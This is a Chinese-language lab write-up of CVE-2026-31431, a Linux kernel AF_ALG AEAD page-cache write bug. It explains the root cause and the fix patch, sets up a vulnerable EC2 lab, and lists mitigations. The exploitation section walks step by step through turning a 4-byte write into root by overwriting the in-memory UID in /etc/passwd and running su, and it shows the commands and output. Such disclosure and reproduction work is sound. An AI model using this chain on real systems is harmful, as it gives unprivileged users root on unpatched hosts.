CVE-2026-31431 — Linux AF_ALG AEAD 页面缓存写入致本地提权¶
发布于 2026-06-06
CISA 已知被利用漏洞
CVE-2026-31431("Copy Fail")于 2026-05-01 被收录至 CISA 已知被利用漏洞目录,要求修复截止日期为 2026-05-15。请将其视为已被在野利用的漏洞。
| 字段 | 详情 |
|---|---|
| Project | Linux kernel |
| 受影响组件 | crypto/algif_aead.c — AF_ALG AEAD 套接字接口 |
| Severity | HIGH |
| CVSS | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (7.8) |
| CWE | CWE-669 |
| 受影响版本 | 4.14 – 5.10.253 · 5.11 – 5.15.203 · 5.16 – 6.1.169 · 6.2 – 6.6.136 · 6.7 – 6.12.84 · 6.13 – 6.18.21 · 6.19 – 6.19.11 |
| 修复版本 | 5.10.254 · 5.15.204 · 6.1.170 · 6.6.137 · 6.12.85 · 6.18.22 · 6.19.12 |
| 安全公告 | GHSA-2274-3hgr-wxv6 |
1. 漏洞概述¶
Linux 内核通过 AF_ALG 套接字族向用户空间暴露密码学操作接口。其中 algif_aead 子接口负责处理带关联数据的认证加密(AEAD)算法,自 2012 年前后便在各大主流 Linux 发行版上默认启用。
CVE-2026-31431(昵称"Copy Fail")允许任意本地非特权用户获取 root 权限。攻击者将 AF_ALG AEAD 接口与 splice() 系统调用及 authencesn AEAD 模板配合使用,可获得一个可靠的 4 字节写入原语,能够将任意字节写入目标文件的内存页面缓存,而不改动磁盘上的实际文件。反复调用该原语,即可在内存中覆盖 /usr/bin/su 或 /etc/passwd 等安全敏感文件,进而获得真实的 root shell。攻击无需绕过 ASLR、泄漏内核符号或利用竞态条件,写入完全确定性地触发。
该漏洞由 2017-07-30 合入的提交 72548b093ee3("crypto: algif_aead - copy AAD from src to dst")引入,距 Theori 于 2026 年公开披露已历经约九年。
根本原因¶
漏洞的核心位于 crypto/algif_aead.c 中的 _aead_recvmsg() 函数。2017 年的一次性能优化让 algif_aead 在解密时采用原地操作以避免内存拷贝。为此,内核构造了一个组合散列表:用户的接收缓冲区(含 AAD 和密文)与来自源 TX 散列表中持有认证标签的页面缓存页面相链接。该链接通过 af_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as) 实现,其中 dst_offset 参数(processed - as)使得仅持有标签的页面被重新分配到目标中——这意味着原始页面缓存页面成为了解密输出散列表的一部分。
当 authencesn AEAD 模板处理解密请求时,它将 dst[assoclen + cryptlen](即密文末尾之后的 4 个字节)用作重排扩展序列号(ESN)字节的临时空间,具体地将 seqno_lo(AAD 第 4–7 字节,由攻击者完全控制)写入该偏移处。由于原地页面缓存链接的存在,该偏移实际落入了一个被链接的页面缓存页面。之后 HMAC 校验刻意失败,但页面缓存写入已经完成。内核的回写机制不会将被篡改的页面标记为脏页,因此该改动永远不会被刷回磁盘。此后任何对该文件的 read() 或 exec() 都将从内存缓存中读到攻击者写入的字节,而非磁盘上的合法数据。
修复补丁提交 a664bf3d603d 由 Herbert Xu 于 2026-03-26 编写,撤销了原地操作优化。它从 af_alg_count_tsgl 和 af_alg_pull_tsgl 中移除了 dst_offset 参数,并将 _aead_recvmsg 改写为始终采用异地操作:TX SGL 页面被转移到每请求的缓冲区,AAD 通过 memcpy_sglist 显式拷贝,AEAD 请求以 TX SGL 为源、RX SGL 为目标发出——页面缓存页面不再被链入可写输出。
--- a/crypto/algif_aead.c
+++ b/crypto/algif_aead.c
@@ -152,23 +152,24 @@ static int _aead_recvmsg(...)
+ /* Always operate out-of-place */
processed = used + ctx->aead_assoclen;
- /* [old: searched for first valid TX SGL page, then branched on enc/dec
- for decryption: af_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as)
- chained page-cache tag pages into RX SGL destination] */
+ areq->tsgl_entries = af_alg_count_tsgl(sk, processed);
+ areq->tsgl = sock_kmalloc(sk, ...);
+ af_alg_pull_tsgl(sk, processed, areq->tsgl); /* no dst_offset */
+ tsgl_src = areq->tsgl;
+ memcpy_sglist(rsgl_src, tsgl_src, ctx->aead_assoclen); /* copy AAD */
- aead_request_set_crypt(..., rsgl_src, /* src = RX buf */
+ aead_request_set_crypt(..., tsgl_src, /* src = TX buf (copy) */
areq->first_rsgl.sgl.sgt.sgl, used, ctx->iv);
--- a/crypto/af_alg.c
+++ b/crypto/af_alg.c
-unsigned int af_alg_count_tsgl(struct sock *sk, size_t bytes, size_t offset)
+unsigned int af_alg_count_tsgl(struct sock *sk, size_t bytes)
/* offset parameter removed — no more selective starting position */
-void af_alg_pull_tsgl(struct sock *sk, size_t used, struct scatterlist *dst,
- size_t dst_offset)
+void af_alg_pull_tsgl(struct sock *sk, size_t used, struct scatterlist *dst)
/* dst_offset removed — all pages always reassigned from offset 0 */
2. 漏洞环境¶
复现环境为一台运行 Ubuntu 24.04 LTS 的 AWS EC2 实例,使用 AMI ami-0d17372de612983fe(构建 20260321),部署在 ap-southeast-1 区域。该 AMI 的默认内核为 6.17.0-1009-aws,属于 6.17.x 系列的受影响范围(该系列修复版本为 6.18.22)。实例类型为 t3.small(Nitro,2 vCPU 突发型);漏洞触发是确定性的,无需持续的计算资源。
基础设施以代码形式通过 OpenTofu 定义,相关文件可随本页面一并下载:
- env.zip — 完整环境包(IaC + cloud-init)
- env/tofu/main.tf — EC2 实例、安全组、密钥对
- env/tofu/variables.tf — 可配置输入项
- env/tofu/outputs.tf — 公网 IP、实例 ID、密钥路径
- env/tofu/scripts/cloud-init.sh — 内核检测门控与基线暂存
cloud-init 脚本在首次启动时完成以下步骤:对所有内核包执行 apt-mark hold 并屏蔽 unattended-upgrades,以防内核被静默升级到已修复版本;随后运行一个门控程序,解析 uname -r,计算对应系列的固定稳定标签,仅在确认运行内核位于受影响范围时才写入就绪标记 /root/.lab-ready。脚本还会绑定一个 AF_ALG authencesn(hmac(sha256),cbc(aes)) 套接字以验证传输层可用。若内核已打补丁或 AMI 不匹配,门控失败,就绪标记永远不会写入——环境将拒绝显示为就绪状态。
VM 上还会创建一个非特权用户 lowpriv(uid 1001,无 sudo,无 capability),并暂存如下干净的 root 所有基线:
/usr/bin/su— 完整的 setuid-root 二进制文件(sha256c74311fe5636b7d7f9a56239fa8adeeab12ba86fe7d41b91afa85bf9bbdae78b)/etc/passwd—lowpriv处于正常非特权 UID:lowpriv:x:1001:1001::/home/lowpriv:/bin/bash/var/lib/lab-marker— 仅 root 可写的目录,用于攻击后的旁路效果观察
基线元数据记录在 /root/lab-baseline.json 中,仅可通过特权带外通道读取。
验证环境处于漏洞状态¶
通过 ubuntu 账户 SSH 登录 VM,经由特权通道检查就绪标记和内核版本:
ssh -i env/tofu/lab_key.pem -o StrictHostKeyChecking=accept-new ubuntu@13.229.212.201 \
'uname -r; \
sudo -n test -f /root/.lab-ready && echo LAB-READY || echo NOT-READY; \
sudo -n cat /root/.lab-ready; \
sudo -n cat /root/lab-baseline.json'
实际观测输出(2026-06-03):
6.17.0-1009-aws
LAB-READY
2026-06-03T01:59:41Z
{ "cve": "CVE-2026-31431", "kernel": "6.17.0-1009-aws", "kernel_version": "6.17.0",
"fixed_tag_for_series": "6.18.22", "vulnerable": true,
"unprivileged_actor": "lowpriv", "lowpriv_uid": 1001,
"lowpriv_passwd_line": "lowpriv:x:1001:1001::/home/lowpriv:/bin/bash",
"setuid_target": "/usr/bin/su",
"setuid_target_sha256_baseline": "c743...ae78b",
"marker_dir": "/var/lib/lab-marker", "marker_dir_owner": "root" }
Note
/root 权限为 0700。就绪标记必须通过特权带外通道读取(sudo -n ...)。以 ubuntu 用户直接执行 cat /root/.lab-ready(不加 sudo)会返回 Permission denied,导致误判为未就绪。请始终使用 sudo -n。若输出显示 NOT-READY,请检查 /var/log/lab-init.log 中是否存在 SUBSTRATE_FAILED: 行——说明底层基础设施不合要求,不应继续操作。
3. 漏洞利用步骤¶
利用代码使用页面缓存写入原语,在内存中篡改 /etc/passwd 中 lowpriv 用户的 UID 和 GID 字段。一旦页面缓存中的值变为 lowpriv:x:0:0:,su lowpriv 从缓存页面读到 UID 0 后便不再要求认证,直接生成一个真实 root shell——该 shell 随即在仅 root 可写的目录中创建标记文件,证明提权成功。磁盘上的 /etc/passwd 始终未被修改。
完整利用包可下载:exploit.zip
各脚本文件:
- exploit/run.sh — 编排入口点
- exploit/escalate.sh — 在 VM 上以
lowpriv身份运行;驱动 AF_ALG 原语并生成 root shell - exploit/pagecache_write.py — 通过 AF_ALG +
splice()实现 4 字节页面缓存写入原语 - exploit/passwd_patch.py — 定位
/etc/passwd中lowpriv的 UID/GID 字段,并对每个 4 字节块调用pagecache_write.py
第 1 步 — 确认干净基线¶
在运行利用代码之前,先确认 VM 处于干净基线状态(lowpriv 为 UID 1001,标记目录为空,且上一次运行未污染页面缓存):
ssh -i env/tofu/lab_key.pem -o StrictHostKeyChecking=accept-new ubuntu@13.229.212.201 \
'uname -r; sudo -n test -f /root/.lab-ready && echo LAB-READY || echo NOT-READY; \
sudo -n id lowpriv; sudo -n ls -la /var/lib/lab-marker/'
预期输出:6.17.0-1009-aws、LAB-READY、lowpriv 显示为 uid=1001(lowpriv),以及空的 /var/lib/lab-marker。
若环境因前次运行而处于脏状态,请先重启以清除页面缓存再继续操作:
ssh -i env/tofu/lab_key.pem ubuntu@13.229.212.201 \
'sudo -n rm -f /var/lib/lab-marker/pwned_by_lowpriv; sudo -n reboot'
第 2 步 — 以非特权用户身份运行利用代码¶
单一入口点 run.sh 将所有脚本暂存到 VM 上、设置 lowpriv 所有权,并驱动完整的提权链:
bash exploit/run.sh env/tofu/lab_key.pem 13.229.212.201 ubuntu lowpriv /var/lib/lab-marker pwned_by_lowpriv
| 参数 | 值 | 含义 |
|---|---|---|
| key | env/tofu/lab_key.pem |
SSH 私钥(相对于运行目录) |
| host | 13.229.212.201 |
VM 公网 IP |
| ssh_user | ubuntu |
SSH 登录用户(具有免密 sudo) |
| actor | lowpriv |
运行利用代码的非特权用户(uid 1001) |
| marker_dir | /var/lib/lab-marker |
用于存放攻击后旁路效果的仅 root 可写目录 |
| marker_name | pwned_by_lowpriv |
由已提权 root shell 创建的标记文件 |
脚本链的执行顺序如下:
- 将
pagecache_write.py、passwd_patch.py和escalate.sh复制到 VM 并设置为lowpriv所有。 - 以
lowpriv身份运行escalate.sh。该脚本调用passwd_patch.py,后者定位/etc/passwd中lowpriv行,确定1001UID 和 GID 字段的字节偏移,然后对每个 4 字节块各调用一次pagecache_write.py。每次调用以只读方式打开/etc/passwd,创建一个 AF_ALGauthencesn(hmac(sha256),cbc(aes))套接字,将相关页面缓存页面通过splice()送入其 TX 散列表,再调用recv()。authencesn模板将seqno_lo(攻击者控制的 4 字节 AAD 数据)写入被链接的页面缓存页面。recv()因刻意触发的 HMAC 失败而返回EBADMSG——此时写入已经完成。 - 内存中的
/etc/passwd现已读取为lowpriv:x:0:0::/home/lowpriv:/bin/bash,escalate.sh运行su lowpriv。su从缓存中读到 UID 0,跳过认证(调用方被视为 root),生成一个真实 UID 0 的 shell。该 shell 在/var/lib/lab-marker目录下创建标记文件——而这个目录在lowpriv的真实身份下是无权写入的。
第 3 步 — 通过独立 root 通道确认利用成功¶
提权的证明通过特权带外通道获取,即 ubuntu 用户经由 SSH 的免密 sudo。该通道与利用进程完全独立,不依赖利用代码的任何输出,由此可排除合法 root 操作的可能:
ssh -i env/tofu/lab_key.pem -o StrictHostKeyChecking=accept-new ubuntu@13.229.212.201 \
'sudo -n stat -c "owner=%U(%u) group=%G(%g) mode=%a name=%n" /var/lib/lab-marker/pwned_by_lowpriv; \
sudo -n cat /var/lib/lab-marker/pwned_by_lowpriv; \
sudo -n id lowpriv; sudo -n getent passwd lowpriv; \
sudo -n -u lowpriv -- id'
利用代码执行后的实际观测输出:
主要可观测项 — 仅 root 可写目录中出现 root 所有的文件:
owner=root(0) group=root(0) mode=644 name=/var/lib/lab-marker/pwned_by_lowpriv
created-by-unprivileged-actor-via-CVE-2026-31431
该文件存在,归 UID 0 所有,且位于 lowpriv 无权写入的目录中——这是一个非特权进程在已打补丁的内核上无法完成的 UID-0 操作。
等效可观测项 — 该用户现在被视为 UID 0:
uid=0(root) gid=0(root) groups=0(root) ← id lowpriv(root 带外通道)
lowpriv:x:0:0::/home/lowpriv:/bin/bash ← getent passwd lowpriv(页面缓存读取)
uid=0(root) gid=0(root) ← sudo -u lowpriv -- id(独立进程)
第 4 步 — 确认篡改仅存在于页面缓存中¶
O_DIRECT 原始磁盘读取(绕过页面缓存)可证明磁盘上的 /etc/passwd 未受任何改动——这是 CVE-2026-31431 页面缓存写入原语的决定性特征,也排除了合法写入路径:
sudo -n grep "^lowpriv" /etc/passwd # page-cache read
sudo -n python3 /tmp/rawread.py # O_DIRECT raw-disk read
# page-cache read:
lowpriv:x:0000:0000::/home/lowpriv:/bin/bash ← CORRUPTED (in-memory only)
# raw-disk read:
lowpriv:x:1001:1001::/home/lowpriv:/bin/bash ← CLEAN (on-disk untouched)
在已打补丁的内核上,页面缓存写入永远不会发生:lowpriv 保持 UID 1001,不会创建任何标记文件,recv() 返回 EINVAL 而非在写入后返回 EBADMSG。
环境清理¶
完成实验后,销毁 EC2 实例及所有相关资源:
此命令将删除实例(i-0e8daa1d3611847b9)、安全组、临时密钥对以及本地的 lab_key.pem。
4. 安全建议¶
修复措施¶
修复方案是升级到包含补丁提交 a664bf3d603d 的内核版本。以下各稳定系列的固定版本均已包含该补丁:
| 稳定系列 | 修复版本 |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x | 6.1.170 |
| 6.6.x | 6.6.137 |
| 6.12.x | 6.12.85 |
| 6.18.x | 6.18.22 |
| 6.19.x | 6.19.12 |
各发行版厂商的修复版本按其自身节奏发布,请参阅对应的安全公告。Red Hat 已为 RHEL 发布了厂商公告。对于受 Binding Operational Directive 22-01 约束的系统,CISA 要求在 2026-05-15 前完成修复。
缓解措施与临时方案¶
若无法立即升级内核,可通过禁用 algif_aead 内核模块来消除漏洞代码路径:
此操作将阻止 AF_ALG AEAD 套接字被绑定。依赖 AF_ALG AEAD 的应用程序将受到影响;大多数用户空间密码学使用 OpenSSL 等库而非内核套接字接口,实践中受影响的程序较少,但请在部署前进行测试。
若无法执行 modprobe -r,也可通过内核锁定策略或阻断 AF_ALG 套接字创建的 seccomp 过滤器,以更细粒度的方式限制非特权用户对 AF_ALG 套接字的访问。
参考资料¶
- GHSA-2274-3hgr-wxv6 — 主要安全公告,含版本范围、CWE、CVSS
- NVD CVE-2026-31431 — CPE 配置版本范围及参考列表
- 补丁提交 a664bf3d603d — 主要修复提交
- 引入漏洞的提交 72548b093ee3 — 2017 年原地优化提交
- Theori PoC 仓库 — 官方 Python 利用代码
- copy.fail — Theori 官方披露站点
- Xint 博客:copy-fail-linux-distributions — 多发行版技术分析与利用链详解
- WebSec 博客 — 独立技术分析及
/etc/passwd策略 - Microsoft 安全博客 — 云环境影响评估
- Red Hat 安全公告 — 厂商公告及 RHEL 修复版本
- CISA KEV 目录 — 收录于 2026-05-01,要求修复截止 2026-05-15
- OSS-security 披露线程(4 月 29 日) — 公开披露与社区分析